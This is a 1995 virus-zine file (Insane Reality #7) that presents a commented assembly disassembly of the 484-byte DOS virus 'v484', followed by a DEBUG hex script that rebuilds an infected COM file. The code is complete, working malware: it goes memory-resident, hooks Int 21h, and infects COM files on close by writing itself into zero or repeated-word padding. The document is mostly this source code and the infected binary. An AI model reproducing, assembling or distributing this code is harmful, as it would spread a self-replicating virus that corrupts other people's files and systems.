Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 022 % Virus of 484 bytes % ---------------------- Here a disasm of a somehow interesting virus done by the Attitude Adjuster of ex-Virulent Grafitti. If you feel really bored, take a look at the infected file which follow the code (The hex-script). Thank you very much The Attitude Adjuster! - The Unforgiven. ============================= v484 Disassembly done by The Attitude Adjuster ============================= v484 is much like the Phoenix virus family. v484 will infect COM files as they are closed, filling in strings of 00 or repeating words with the virus code. There are several similarities in this virus to areas of the Phoenix viruses, though the interrupt service is accomplished thru Int 21h instead of Int 2Ah, and the virus does work under later versions of DOS. ;------------------------------------------------------------------------------- .model tiny .code ; Disassembly of v484, done by The Attitude Adjuster! All hail the holy ; XChg Ax, Ax! org 0 v_484: cld mov si, 100h deltaofs equ $ - 2 checkword: xor di, di mov ds, word ptr [di+2] ; last avail seg cmp word ptr [di+(offset checkword - offset v_484)], 0100h org $ - 2 xor di, di je already_resident ; ruthere mov ax, cs ; mcb modification dec ax mov ds, ax mov ax, ((offset endvirus - offset v_484) / 16)+2 sub word ptr [di+3], ax sub word ptr [di+12h], ax mov es, word ptr [di+12h] ; copy virus to mov cx, (offset endcopy - offset v_484) / 2 ; high memory rep movs word ptr es:[di], cs:[si] sub si, di ; si = 100h mov ds, cx ; ds = 0 mov ax, offset our21 mov cl, 2 _intgrabloop: xchg ax, word ptr ds:[di+(21h*4)-(old21 - v_484)] stosw mov ax, es loop _intgrabloop already_resident: push cs cs pop es ds mov di, offset [00FDh] ; destination unused push di si add si, offset copybuf - offset v_484 ; buffer to copy from movsw ; copy zopy code movsb movsw movsw lodsw ; csave in ax inc ah xchg ax, si ; now points to code mov ax, 020CDh ; or nothing placepattern EQU $ - 2 mov cx, 0F2h ; words to zopy pop di ret copybuf: ; this code copied rep stosw ; to unused psp xchg ax, cx codebuf: ; this is where the int 20h ; first 4 get saved int 20h csave dw 0 ; where old code is our21: cmp ah, 3Eh ; close? je yesclose jmp _old21jmp ; bail yesclose: push ax bx cx dx bp si di ds es cld xor si, si ; replace int 24 mov ds, si ; vector in ivt, mov si, offset 24h*4 ; save on stack mov ax, cs xchg ax, word ptr [si+2] push ax mov ax, offset our24 xchg ax, word ptr [si] push ax si ds mov bp, word ptr ds:[046Ch] ; word from timer mov ax, 3302h ; set ctrl-break cwd ; checking off push ax call _call21 push dx ; save old state mov ax, 2012h ; to fool hueristics xchg al, ah ; get jft of handle int 2Fh mov ax, 1612h ; get sft address xchg al, ah push bx xor bx, bx ; of sft 0 mov bl, byte ptr es:[di] ; jft used by sft 0 int 2Fh pop bx jc unsatisfactory add di, 15h ; point at curpos push es pop ds mov cx, [di-10h] ; get devinfo word test cl, 80h ; bomb if bit 7 stc ; not set jnz unsatisfactory mov ah, 45h ; duplicate handle call _call21 jc unsatisfactory mov word ptr cs:[hsave], ax ; save new handle mov ax, 'OC' ; check for 'CO' cmp ax, word ptr [di+0Bh] ; in filename je unsatisfactory xor ax, word ptr [di+13h] ; ext = 'CO' ? or ax, word ptr [di-2] ; hi size 0 ? or ax, word ptr [di+2] ; hi curpos 0 ? jnz unsatisfactory test byte ptr [di-11h], 4 ; system file? jz satisfactory unsatisfactory: jmp earlybail satisfactory: cwd ; dx = 0 mov al, 2 xchg ax, word ptr [di-13h] ; set file mode r/w xchg dx, word ptr [di] ; current offset 0 push ax dx cx mov ax, word ptr [di-4] ; ax = lo fsize mov word ptr cs:[csave], ax cmp ax, 0FEFFh - (offset jmpbld-1 - offset v_484) cmc ; no stack butting jc unsatisfactory2 ; fall thru if less sub ax, offset jmpbld - offset v_484 ; don't fall thru jc unsatisfactory2 ; if less than 1E8h stc ; if none, exit jz unsatisfactory2 push ax mov ah, 3Fh ; read first 4 mov cx, 4 ; bytes to code mov dx, offset codebuf ; buffer call call21readwritecheck pop bx jc reconstructbail mov si, dx ; slick check! cwd ; dx = 0 _testinfectloop: lodsb xor ah, al loop _testinfectloop jz reconstructbail xchg ax, bx ; ax = fsize-1E8h xchg ax, bp ; ax = random # xchg al, ah ; invert random # div bp ; get random location add dx, 4 ; bigger 'n 4! mov word ptr es:[di], dx ; set pos to dx mov bp, dx inc dh ; add 100h mov word ptr ds:[deltaofs], dx call _call21read ; read from that pos unsatisfactory2: jc reconstructbail mov si, dx ; dx = 1ECh shr cx, 1 ; shift to words _wordpatternlookloop: lodsw cmp ax, [si] ; found pattern? loopz _wordpatternlookloop mov word ptr ds:[offset placepattern], ax ; save last value mov si, offset copybuf + 1 ; modify buffer mov byte ptr [si], 0 org $ - 1 stosw jcxz skipcode ; code, not pattern? mov byte ptr [si], 0 ; replace with movsw org $ - 1 movsw mov ax, word ptr ds:[csave] ; replace curpos mov word ptr es:[di], ax call _call21write ; write copied code jc reconstructbail skipcode: mov word ptr es:[di], bp ; set pos to random mov byte ptr ds:[offset jmpbld], 0E9h xchg ax, bp ; random in ax sub ax, 3 ; adjust for jmp near mov word ptr ds:[offset jmpbld+1], ax ; save offset for jmp xor al, 0E9h ; balance so as to xor al, ah ; make it register mov byte ptr ds:[offset jmpbld+3], al ; as infected! mov ah, 40h ; write virus cwd ; dx = 0 call _call21amount jc reconstructbail mov word ptr es:[di], ax ; ax = 0 mov ah, 40h ; write jmp construct mov cx, 4 mov dx, offset jmpbld call call21readwritecheck reconstructbail: push es pop ds cx pop word ptr [di] ; pop out pos pop word ptr [di-13h] ; pop out mode mov dx, 4040h ; test for file test cx, dx ; not written to jz _nosetneeded ; and date+time set or byte ptr [di-0Fh], dl ; set no date write! _nosetneeded: stc jmp short closehandle earlybail: ; if handle was jc reconstructivt ; duped, close it closehandle: mov ah, 3Eh pushf call _call21sethandle lahf popf jnc reconstructivt shr ah, 1 ; close error? jnc reconstructivt test cl, dl ; checking if file jz reconstructivt ; was written to or byte ptr [di-10h], dl ; set as no write reconstructivt: pop dx ax ; set break back call _call21 pop es di ax ; reset int 24h stosw pop ax stosw pop es ds di si bp dx cx bx ax _old21jmp: jmp dword ptr cs:[old21] _call21write: mov ah, 40h test ax, 0101h org $ - 2 _call21read: mov ah, 3fh mov dx, offset readbuf _call21amount: mov cx, offset endcopy - offset v_484 call21readwritecheck: push cs pop ds call _call21sethandle jc _callbad sub ax, cx ; bytes xfr'd less _callbad: ; than requested? ret _call21sethandle: mov bx, 0 hsave EQU $ - 2 _call21: pushf ; Push flags push cs call _old21jmp ret our24: mov al, 3 iret even endcopy: old21 dd ? jmpbld dd ? readbuf db (offset endcopy - offset v_484) dup(?) endvirus: end v_484 ;------------------------------------------------------------------------------- N v484.COM E 100 E9 C4 08 25 8A F6 DE 4A 24 51 9B B1 96 09 78 B4 E 110 5C 49 F8 49 BE FB 93 F5 84 4E 57 6E 57 6F C2 2D E 120 E9 20 F0 20 F2 6D BB 1A F3 25 EE 6E FD 25 F7 29 E 130 BB 25 EE 6E F0 20 FD 29 FE 3A FC 2A BB 37 F0 3A E 140 F3 6E EF 26 FC 6E ED 7A A3 7A BB 38 F0 3C EC 3B E 150 B5 41 91 38 AF 76 AF 6E F0 3B BB 2D BB 21 FC 21 E 160 EA 3C E0 6E E9 29 EE 25 FF 29 F5 3A BB 25 F5 28 E 170 FC 2B EF 3F E9 6E EA 28 BB 0B CA 01 B4 3E E9 3F E 180 F2 3C F8 21 EE 6E FE 22 EA 3B FC 2A BB 66 FE 3F E 190 EB 25 FC 2A BB 28 EA 3C 94 44 FC 36 F8 21 EB 22 E 1a0 FC 65 B7 6E F9 39 EF 6E F5 3F EF 6E FC 36 FC 2B E 1b0 EC 3A FC 2A B5 6E D0 3A BB 2A EA 29 EE 6E F3 3F E 1c0 EA 23 BB 3A F3 29 BB 2B E9 25 EF 25 FE 2D F7 6E E 1d0 FC 3C E9 3F E9 6E F3 2D F5 2A F7 29 E9 41 91 66 E 1e0 F0 20 EF 29 E9 3C EC 3E EF 6E A9 7A F3 65 B7 6E E 1f0 F8 20 FF 6E F0 28 BB 2D BB 28 F0 22 FC 6E B3 28 E 200 EA 3C BB 29 E3 2D F4 3E F7 29 B0 6E F0 3B BB 2C E 210 FC 25 F5 27 BB 2B EA 3E F0 29 FF 6E FD 3C EA 21 E 220 BB 2D BB 41 91 37 E9 25 EF 29 B4 3E E9 3F EF 29 E 230 FE 3A FC 2A BB 28 F7 3F EB 3E E0 61 FF 25 EE 2B E 240 BB 3A EA 6E EF 26 FC 6E D3 0A BB 3A F3 29 BB 38 E 250 F0 3C EC 3B BB 37 F0 22 F7 6E B9 28 F8 25 F7 6E E 260 EF 26 FC 6E FD 39 F5 2B EF 25 EA 20 BB 2B F8 22 E 270 F7 6E 94 44 F0 20 BB 3E E9 3F F2 3C FC 3B EE 6C E 280 BB 3A EA 6E EB 3C FC 38 FC 20 EF 6E FC 2D EE 35 E 290 BB 2A FC 3A FC 2B EF 25 EA 20 BB 66 CD 25 E9 39 E 2a0 EE 6E E2 25 F7 22 BB 2D F9 3F E9 3A BB 25 F5 28 E 2b0 FC 2B EF 25 EA 20 BB 3F F5 6E EF 26 FC 41 91 3B E 2c0 EA 39 E9 2B FC 61 FD 25 F7 29 BB 3C F8 3A F3 29 E 2d0 E9 6E EF 26 F8 20 BB 27 FC 3A EF 25 F5 27 BB 3A E 2e0 F3 29 BB 6C C2 3C F0 3A FC 6E EB 3C EA 3A FC 2B E 2f0 EF 6E FC 3C E9 3F E9 6E E2 3C F0 3A F0 20 F2 6E E 300 FF 3C F0 38 FC 6E D8 6C BB 41 91 21 FC 3B EE 2D E 310 F2 29 B7 6E E2 26 F0 2B F3 6E F0 20 FF 25 FE 2D E 320 EF 29 EE 6E EE 3F F4 29 EF 26 F0 20 F2 6E F0 3B E 330 BB 64 E9 29 F8 22 F7 35 B1 6E E2 3C EA 20 F2 65 E 340 B5 41 91 41 91 05 F5 28 FC 2B EF 29 FF 6E FD 25 E 350 F7 29 EE 6E E2 25 F7 22 BB 25 F5 2B E9 29 F8 3B E 360 FC 6E E2 25 EF 26 BB 7A A3 7A BB 2C E0 3A FC 3B E 370 BB 66 F3 29 F5 2B FC 6E EF 26 FC 6E F5 2D F4 29 E 380 94 44 AF 76 AF 6D B8 6D B0 62 BB 37 F3 25 FE 26 E 390 BB 25 EE 6E ED 25 EE 25 F9 22 FC 6E E2 26 FC 20 E 3a0 FC 38 FC 3C BB 2D BB 67 DF 05 C9 67 BB 2B EA 21 E 3b0 F4 2D F5 2A BB 25 EE 6E F9 29 F0 20 F2 6E EB 29 E 3c0 E9 28 EA 3C F4 29 FF 60 94 44 CF 26 F0 3B BB 21 E 3d0 FC 2D F5 3B BB 3A F3 29 BB 38 F0 3C EC 3B BB 2A E 3e0 EA 29 EE 20 B2 3A BB 39 EE 29 BB 2D F5 35 BB 6C E 3f0 EE 3A FC 2D F7 3A F3 6C BB 3A FC 2B F3 20 F0 3D E 400 EC 29 EE 6E E2 26 F8 3A EE 3F FC 38 FC 3C B5 41 E 410 91 41 91 1A F3 29 BB 38 F0 3C EC 3B BB 25 EE 20 E 420 B2 3A BB 29 F5 2B E9 35 EB 3A FC 2A B7 6E F8 20 E 430 FF 6E EE 26 EA 39 F7 2A BB 2C FC 6E E8 39 F0 3A E 440 FC 6E EF 3C F0 38 F0 2D F7 6E EF 3F BB 3C FC 21 E 450 EA 38 FC 60 94 44 D8 2B FE 3F E9 2A F5 25 F5 27 E 460 BB 3A EA 6E F8 6E EF 3C EC 3B EF 37 EA 3C F3 35 E 470 BB 3E FC 3C EE 3F F5 6E F0 20 BB 3A F3 29 BB 18 E 480 C3 6E B3 38 F0 3C EC 3B BB 29 C3 2B F3 2D F5 27 E 490 FC 65 B4 2B EA 21 F4 39 F5 25 EF 35 B7 6E 94 44 E 4a0 EF 26 F0 3B BB 38 F0 3C EC 3B BB 26 F8 3B BB 3B E 4b0 EA 21 FC 6E F2 3C FC 2D EF 6E E9 29 EE 29 F4 2C E 4c0 F7 29 F5 2B FC 6E E2 25 EF 26 BB 3A F3 29 BB 1E E 4d0 F3 3F FC 20 F0 36 BB 38 F0 3C EC 3B BB 66 E2 26 E 4e0 F0 2B F3 6E F0 3B BB 41 91 2C FC 22 F0 29 ED 29 E 4f0 FF 6E EF 3F BB 26 F8 3B BB 2C FC 29 F5 6E E2 3C E 500 F0 3A EF 29 F5 6E F9 35 BB 20 EA 6E EA 3A F3 29 E 510 E9 6E EF 26 F8 20 BB 1A F3 29 BB 0A F8 3C F6 6E E 520 D8 38 FC 20 F2 29 E9 65 B7 6E F9 39 EF 6E F0 3B E 530 94 44 F8 6E F2 3C FC 2D EF 6E FF 29 F8 22 BB 3F E 540 FD 6E EE 21 F8 22 F7 29 E9 6E EF 26 F8 20 BB 3A E 550 F3 29 BB 2D F9 3F ED 29 BB 21 FC 20 EF 25 EA 20 E 560 FC 2A BB 38 F0 3C EC 3B B5 6E 94 44 94 44 D8 22 E 570 F7 6E F3 2D F0 22 BB 2F CF 26 FC 6E D8 3A EF 25 E 580 EF 39 FF 29 BB 0D FF 24 EC 3B EF 29 E9 2F BB 3F E 590 FD 6E FC 36 B4 18 F0 3C EC 22 FC 20 EF 6E D2 3C E 5a0 F8 28 F0 3A EF 25 BB 28 EA 3C BB 3B EC 3E EB 22 E 5b0 E0 25 F5 27 94 44 E0 3F EC 6E E2 25 EF 26 BB 3B E 5c0 EA 21 FC 3A F3 25 F5 27 BB 3A E9 39 FC 22 E0 6E E 5d0 FE 3F EA 22 B5 60 BB 6E BB 66 CF 26 FC 6E ED 25 E 5e0 E9 39 EE 6E E2 2D EE 6E F8 2B EF 39 F8 22 F7 35 E 5f0 BB 3C FC 2D F7 22 E0 6E F2 3F EA 2A 94 44 E2 3C E 600 F0 3A EF 29 F5 6E F4 29 EF 26 F0 20 F6 3B B5 60 E 610 BB 6D B0 60 94 44 BB 7F BB 0D F5 6E FC 36 FE 22 E 620 EC 3B F0 38 FC 6E F4 29 F4 2C FC 3C BB 3F FD 6E E 630 EF 26 FC 6E B1 09 B4 3A EA 61 EF 26 FC 61 D4 61 E 640 EF 3F B4 3A F3 29 B4 01 B4 3A EA 61 EF 26 FC 61 E 650 D8 64 BB 28 F8 20 B4 2B F7 39 F9 62 BB 7D A0 75 E 660 AC 6D 4E 6D F1 3B 49 DC F2 AA F4 BF D1 AB B4 6F E 670 9A EC C4 07 D2 2B B6 8F 08 5C 06 5C 39 AE F0 F0 E 680 2B 4F 7D F7 EB 4C EC 4A 19 32 ED 0A 29 90 AA 7A E 690 F0 6D 6D 08 C9 B6 1A B8 1A 87 E8 4E 6E 6B D1 3D E 6a0 69 A5 D2 AC D4 79 89 AD 94 69 2E EA E4 90 F5 2D E 6b0 96 89 28 5A 26 5A 19 A8 D0 FE 60 41 36 F9 BD 42 E 6c0 A7 44 39 F2 A6 04 62 F5 E1 74 D0 6B 26 06 82 B8 E 6d0 51 B6 51 89 A3 40 80 6C 3F 3A 87 87 3C AB 3A DB E 6e0 A4 AA 7A 6E 65 ED 0A 32 12 2A 78 8E C6 5D C8 5D E 6f0 F7 AF 3E FE 46 41 10 F9 BC 42 81 44 D7 BF 80 04 E 700 44 3D C7 74 3E 6C 00 06 A4 B8 77 B6 77 89 85 40 E 710 FB 6D 44 3B FC 65 46 AA 41 87 98 AB 01 6F 43 EC E 720 71 6E 68 2B 03 8F BD 5C B3 5C 8C AE 45 FE 5A 41 E 730 0C F9 4D 43 9D 44 AC 60 9C 04 58 59 DB 74 45 6D E 740 1C 06 B8 B8 6B B6 6B 89 99 40 DD 6D 62 3B DA 48 E 750 60 AA 67 BD 64 AB 27 6F 5C EC 57 54 4E 2B 25 8F E 760 9B 5C 95 5C AA AE 63 FE 2F 41 79 F9 1B 43 E8 44 E 770 8A 2A E9 04 2D 0A AE 74 63 6D 69 06 CD B8 1E B6 E 780 1E 89 EC 40 F1 6D 4E 3B F6 2F 4C AA 4B E4 06 AB E 790 0B 6F 29 EC 7B 0D 62 2B 09 8F B7 5C B9 5C 86 AE E 7a0 4F FE 3B 41 6D F9 6A 43 FC 44 A6 EC FD 04 39 32 E 7b0 BA 74 4F 6D 7D 06 D9 B8 0A B6 0A 89 F8 40 1A 7B E 7c0 A5 2D 1D 24 A7 BC A0 0D 01 BD E0 79 3D FA 90 E4 E 7d0 9F 3D E2 99 5C 4A 52 4A 6D B8 A4 FE 1F 41 49 F9 E 7e0 71 43 D8 44 4D C0 D9 04 1D FD 9E 74 A4 7B 59 06 E 7f0 FD B8 2E B6 2E 89 DC 40 7B 7B C4 2D 7C 07 C6 BC E 800 C1 48 26 BD 81 79 19 FA F1 A1 FE 3D 83 99 3D 4A E 810 33 4A 0C B8 C5 FE 28 41 7E F9 A3 43 EF 44 2C 8E E 820 EE 04 2A AB A9 74 C5 7B 6E 06 CA B8 19 B6 19 89 E 830 EB 40 69 7B D6 2D 6E E2 D4 BC D3 6D FE BD 93 79 E 840 2F FA E3 84 EC 3D 91 99 2F 4A 21 4A 1E B8 D7 F9 E 850 C7 46 91 FE 6F 44 00 43 3E 54 01 03 C5 50 46 73 E 860 D7 7B 81 01 25 BF F6 B1 F6 8E 04 47 59 7B E6 2D E 870 5E CD E4 BC E3 B2 97 BD A3 79 C0 FA D3 5B DB 3D E 880 A1 99 1F 4A 11 4A 2E B8 E7 F9 D6 46 80 FE 13 44 E 890 11 43 0E 12 10 03 D4 71 57 73 E7 7B 90 01 34 BF E 8a0 E7 B1 E7 8E 15 47 2F 7B 90 2D 28 A8 92 BC 95 D5 E 8b0 2B BD D5 79 D1 FA A5 3C AD 3D D7 99 69 4A 67 4A E 8c0 58 B8 91 F9 C8 46 9E FE 2A 44 0F 43 78 D8 0E 03 E 8d0 CA 19 49 73 91 7B 8E 01 2A BF F9 B1 F9 8E 0B 47 E 8e0 1B 7B A4 2D 1C 8B A6 BC A1 FF 59 BD E1 79 CF FA E 8f0 91 16 99 3D E3 99 5D 4A 53 4A 6C B8 A5 F9 DB 46 E 900 8D FE 24 44 1C 43 4C A6 1D 03 D9 3E 5A 73 A5 7B E 910 9D 01 39 BF EA B1 EA 8E 18 47 63 01 DC 57 64 0C E 920 D9 C6 D9 EE 61 C7 99 03 DC 80 E9 07 9B 47 9B E3 E 930 25 30 2B 30 14 C2 DD F6 79 49 2F F1 65 4C BE 4C E 940 34 16 BF 0C 7B E4 F8 7C DD 01 3F 0E 9B B0 48 BE E 950 48 81 BA 48 7B 01 C4 57 7C 2B C1 C6 C1 54 B8 C7 E 960 81 03 71 80 F1 BD 8C 47 83 E3 3D 30 33 30 0C C2 E 970 C5 F6 10 49 46 F1 29 4C D7 4C 2C 50 D6 0C 12 95 E 980 91 7C C5 01 56 0E F2 B0 21 BE 21 81 D3 48 46 01 E 990 F9 57 41 46 FC C6 FC 00 DF C7 BC 03 18 80 CC E9 E 9a0 B1 47 BE E3 00 30 0E 30 31 C2 F8 F6 01 49 57 F1 E 9b0 57 4C C6 4C 11 8A C7 0C 03 B9 80 7C F8 01 47 0E E 9c0 E3 B0 30 BE 30 81 C2 FC BE C7 09 33 FF 8E 5D 02 E 9d0 81 7D 04 33 FF 74 29 8C C8 48 8E D8 B8 3F 00 29 E 9e0 45 03 29 45 12 8E 45 12 B9 F3 00 F3 2E A5 2B F7 E 9f0 8E D9 B8 5F 00 B1 02 87 85 9E FE AB 8C C0 E2 F7 E a00 0E 0E 07 1F BF FD 00 57 56 83 C6 56 90 A5 A4 A5 E a10 A5 AD FE C4 96 B8 48 B5 B9 F2 00 5F C3 F3 A5 91 E a20 E9 E3 0E 82 03 0F 80 FC 3E 74 03 E9 58 01 50 53 E a30 51 52 55 56 57 1E 06 FC 33 F6 8E DE BE 90 00 8C E a40 C8 87 44 02 50 B8 E2 01 87 04 50 56 1E 8B 2E 6C E a50 04 B8 02 33 99 50 E8 4A 01 52 B8 12 20 86 C4 CD E a60 2F B8 12 16 86 C4 53 33 DB 26 8A 1D CD 2F 5B 72 E a70 32 83 C7 15 06 1F 8B 4D F0 F6 C1 80 F9 75 24 B4 E a80 45 E8 1F 01 72 1D 2E A3 DA 01 B8 43 4F 3B 45 0B E a90 74 11 33 45 13 0B 45 FE 0B 45 02 75 06 F6 45 EF E aa0 04 74 03 E9 B5 00 99 B0 02 87 45 ED 87 15 50 52 E ab0 51 8B 45 FC 2E A3 5D 00 3D 16 FD F5 72 38 2D EA E ac0 01 72 33 F9 74 30 50 B4 3F B9 04 00 BA 59 00 E8 E ad0 C4 00 5B 72 71 8B F2 99 AC 32 E0 E2 FB 74 67 93 E ae0 95 86 C4 F7 F5 83 C2 04 26 89 15 8B EA FE C6 89 E af0 16 02 00 E8 98 00 72 4E 8B F2 D1 E9 AD 3B 04 E1 E b00 FB A3 4F 00 BE 57 00 C6 04 AB E3 0E C6 04 A5 A1 E b10 5D 00 26 89 05 E8 73 00 72 2C 26 89 2D C6 06 EA E b20 01 E9 95 2D 03 00 A3 EB 01 34 E9 32 C4 A2 ED 01 E b30 B4 40 99 E8 5D 00 72 0E 26 89 05 B4 40 B9 04 00 E b40 BA EA 01 E8 50 00 06 1F 59 8F 05 8F 45 ED BA 40 E b50 40 85 CA 74 03 08 55 F1 F9 EB 02 72 15 B4 3E 9C E b60 E8 3D 00 9F 9D 73 0B D0 EC 73 07 84 CA 74 03 08 E b70 55 F0 5A 58 E8 2C 00 07 5F 58 AB 58 AB 07 1F 5F E b80 5E 5D 5A 59 5B 58 2E FF 2E E6 01 B4 40 A9 B4 3F E b90 BA EE 01 B9 E6 01 0E 1F E8 05 00 72 02 2B C1 C3 E ba0 BB 06 00 9C 0E E8 DE FF C3 B0 03 CF 90 E0 6A 33 E bb0 64 33 5B C1 92 F7 33 48 65 F0 68 4C F4 4D 7B 97 E bc0 F5 0D 31 E2 B2 7D 92 02 75 0F D1 B1 02 BF 02 80 E bd0 F0 49 3F 02 80 54 38 6B 84 C5 85 59 78 C4 C5 00 E be0 39 83 B5 B0 CA 44 C7 E0 79 33 77 33 48 C1 81 F7 E bf0 43 48 15 F0 3B 4C 84 4D 68 CD 85 0D 41 81 C2 7D E c00 81 02 05 0F A1 B1 72 BF 72 80 80 49 2E 02 91 54 E c10 29 84 95 C5 94 38 37 C4 D4 00 49 83 A4 D1 DB 44 E c20 D6 E0 68 33 66 33 59 C1 90 F0 90 4F C6 F7 05 4B E c30 57 4A 79 0B 56 0A 92 45 11 7A 90 02 D6 08 72 B6 E c40 A1 B8 A1 87 53 4E 3C 02 83 54 3B A1 87 C5 86 F9 E c50 E8 C4 C6 00 9B 83 B6 10 CE 44 C4 E0 7A 33 74 33 E c60 4B C1 82 F0 A1 4F F7 F7 13 4B 66 4A 6B 41 67 0A E c70 A3 66 20 7A 82 02 E7 08 43 B6 90 B8 90 87 62 4E E c80 2B 02 94 54 2C C2 90 C5 91 DF B9 C4 D1 00 AA 83 E c90 A1 36 D9 44 D3 E0 6D 33 63 33 5C C1 95 F0 D1 4F E ca0 87 F7 1E 4B 16 4A 7C 7F 17 0A D3 01 50 7A 95 02 E cb0 97 08 33 B6 E0 B8 E0 87 12 4E 35 02 8A 54 32 DF E cc0 8E C5 8F B1 5D C4 CF 00 DA 83 BF 58 C7 44 CD E0 E cd0 73 33 7D 33 42 C1 8B F0 E7 4F B1 F7 0B 4B 20 4A E ce0 62 B5 21 0A E5 29 66 7A 8B 02 A1 08 05 B6 D6 B8 E cf0 D6 87 24 4E 25 02 9A 54 22 F8 9E C5 9F 97 03 C4 E d00 DF 00 EC 83 AF 7E D7 44 DD E0 63 33 6D 33 52 C1 E d10 9B F0 0B 4F 5D F7 02 48 CC 4A 72 F3 CD 0A 09 D5 E d20 8A 7A 9B 02 4D 08 E9 B6 3A B8 3A 87 C8 4E 82 03 E d30 3D 55 85 14 3A C4 38 DD 7F C5 78 01 07 82 08 34 E d40 71 45 7A E1 C4 32 CA 32 F5 C0 3C F0 6F 4F 39 F7 E d50 49 48 A8 4A D5 28 A9 0A 6D 11 EE 7A 3C 03 29 08 E d60 8D B6 5E B8 5E 87 AC 4E B2 03 0D 55 B5 37 0A C4 E d70 08 89 09 C5 48 01 63 82 38 60 41 45 4A E1 F4 32 E d80 FA 32 C5 C0 0C F0 78 4F 2E F7 3B 48 BF 4A E5 66 E d90 BE 0A 7A 36 F9 7A 0C 03 3E 08 9A B6 49 B8 49 87 E da0 BB 4E 43 03 FC 55 44 52 FB C4 F9 6F 32 C5 B9 01 E db0 74 82 C9 86 B0 45 BB E1 05 32 0B 32 34 C0 FD F0 E dc0 6B 4F 3D F7 0B 48 AC 4A 14 9C AD 0A 69 D4 EA 7A E dd0 FD 03 2D 08 89 B6 5A B8 5A 87 A8 4E 72 03 CD 55 E de0 75 6D CA C4 C8 4D 3D C5 88 01 67 82 F8 A4 81 45 E df0 8A E1 34 32 3A 32 05 C0 CC F0 7B 4F 2D F7 06 48 E e00 BC 4A 25 DA BD 0A 79 F5 FA 7A CC 03 3D 08 99 B6 E e10 4A B8 4A 87 B8 4E 03 03 BC 55 04 88 BB C4 B9 2C E e20 06 C5 F9 01 77 82 89 C5 F0 45 FB E1 45 32 4B 32 E e30 74 C0 BD F0 67 4F 31 F7 FD 48 A0 4A 54 10 A1 0A E e40 65 99 E6 7A BD 03 21 08 85 B6 56 B8 56 87 A4 4E E e50 33 03 8C 55 34 AB 8B C4 89 00 F0 C5 C9 01 6A 82 E e60 B9 E9 C0 45 CB E1 75 32 7B 32 44 C0 8D F0 74 4F E e70 22 F7 C3 48 B3 4A 64 4E B2 0A 76 BA F5 7A 8D 03 E e80 32 08 96 B6 45 B8 45 87 B7 4E C0 00 7F 56 C7 C5 E e90 78 C7 7A E3 5A C6 3A 02 79 81 4A 0A 30 46 38 E2 E ea0 86 31 88 31 B7 C3 7E F0 67 4F 31 F7 B3 48 A0 4A E eb0 97 87 A1 0A 65 5A E6 7A 7E 00 21 08 85 B6 56 B8 E ec0 56 87 A4 4E F0 00 4F 56 F7 E2 48 C7 4A C0 A4 C6 E ed0 0A 02 6A 81 7A 29 00 46 08 E2 B6 31 B8 31 87 C3 E ee0 4E F0 76 4F 20 F7 87 48 B1 4A A7 C1 B0 0A 74 7B E ef0 F7 7A 4E 00 30 08 94 B6 47 B8 47 87 B5 4E 80 00 E f00 3F 56 87 FF 38 C7 3A A1 AE C6 7A 02 7B 81 0A 48 E f10 70 46 78 E2 C6 31 C8 31 F7 C3 3E F0 69 4F 3F F7 E f20 67 49 AE 4A D7 FB AF 0A 6B 14 E8 7A 3E 00 2F 08 E f30 8B B6 58 B8 58 87 AA 4E A2 00 1D 56 A5 1C 1B C7 E f40 18 9C 4A C6 58 02 67 81 28 75 52 46 5A E2 E4 31 E f50 EA 31 D5 C3 1C F0 94 4F C2 F7 BF 49 53 4A F5 35 E f60 52 0A 96 C8 15 7A 1C 00 D2 08 76 B6 A5 B8 A5 87 E f70 57 4E B2 00 0D 56 B5 39 0B C7 08 71 10 C6 48 02 E f80 9A 81 38 98 42 46 4A E2 F4 31 FA 31 C5 C3 0C F0 E f90 AB 4F FD F7 E3 49 6C 4A E5 6F 6D 0A A9 E7 2A 7A E fa0 0C 00 ED 08 49 B6 9A B8 9A 87 68 4E AF 00 10 56 E fb0 A8 56 16 C7 15 53 D3 C6 55 02 A5 81 25 BA 5F 46 E fc0 57 E2 E9 31 E7 31 D8 C3 11 F0 DD 4F 8B F7 B8 49 E fd0 1A 4A F8 A9 1B 0A DF 8C 5C 7A 11 00 9B 08 3F B6 E fe0 EC B8 EC 87 1E 4E BE 00 01 56 B9 73 07 C7 04 34 E ff0 88 C6 44 02 D3 81 34 DD 4E 46 46 E2 F8 31 F6 31 E 1000 C9 C3 00 48 B5 02 0A 54 B2 66 0F C5 0F E1 E9 C4 E 1010 4F 00 09 83 3F 08 41 44 4D E0 F3 33 FD 33 C2 C1 E 1020 0B F6 10 49 46 F1 63 4C D7 4C E2 C7 D6 0C 12 5B E 1030 91 7C 0B 02 56 0E F2 B0 21 BE 21 81 D3 48 85 02 E 1040 3A 54 82 83 3F C5 3F C0 93 C4 7F 00 18 83 0F 29 E 1050 71 44 7D E0 C3 33 CD 33 F2 C1 3B F6 01 49 57 F1 E 1060 91 4C C6 4C D2 FD C7 0C 03 7A 80 7C 3B 02 47 0E E 1070 E3 B0 30 BE 30 81 C2 48 F0 02 4F 54 F7 9C 4A C5 E 1080 4A A4 18 C4 0A 00 08 83 7A 4D 04 44 08 E0 B6 33 E 1090 B8 33 87 C1 4E F6 28 49 7E F1 85 4C EF 4C A7 3B E 10a0 EE 0C 2A 27 A9 7C 4E 02 6E 0E CA B0 19 BE 19 81 E 10b0 EB 48 E1 02 5E 54 E6 B9 5B C5 5B 9C 43 C4 1B 00 E 10c0 21 83 6B 75 15 44 19 E0 A7 33 A9 33 96 C1 5F F6 E 10d0 D8 49 8E F1 12 4C 1F 4C B6 71 1E 0C DA C6 59 7C E 10e0 5F 02 9E 0E 3A B0 E9 BE E9 81 1B 48 FB 02 44 54 E 10f0 FC DA 41 C5 41 76 9F C4 01 00 D1 83 71 9F 0F 44 E 1100 03 E0 BD 33 B3 33 8C C1 45 F6 F6 49 A0 F1 11 4C E 1110 31 4C AC AF 30 0C F4 F2 77 7C 45 02 B0 0E 14 B0 E 1120 C7 BE C7 81 35 48 8E 02 31 54 89 F7 34 C5 34 2D E 1130 B0 C4 74 00 FF 83 04 C4 7A 44 76 E0 C8 33 C6 33 E 1140 F9 C1 30 F7 04 48 52 F0 00 4C C3 4D D9 E5 C2 0D E 1150 06 74 85 7D 30 02 42 0F E6 B1 35 BF 35 80 C7 49 E 1160 F1 02 4E 54 F6 10 4A C5 4B A0 00 C4 0B 00 0E 83 E 1170 7B 49 04 44 09 E0 B7 33 B9 33 86 C1 4F F7 11 48 E 1180 47 F0 30 4C D6 4D A6 23 D7 0D 13 1D 90 7D 4F 02 E 1190 57 0F F3 B1 20 BF 20 80 D2 49 C2 02 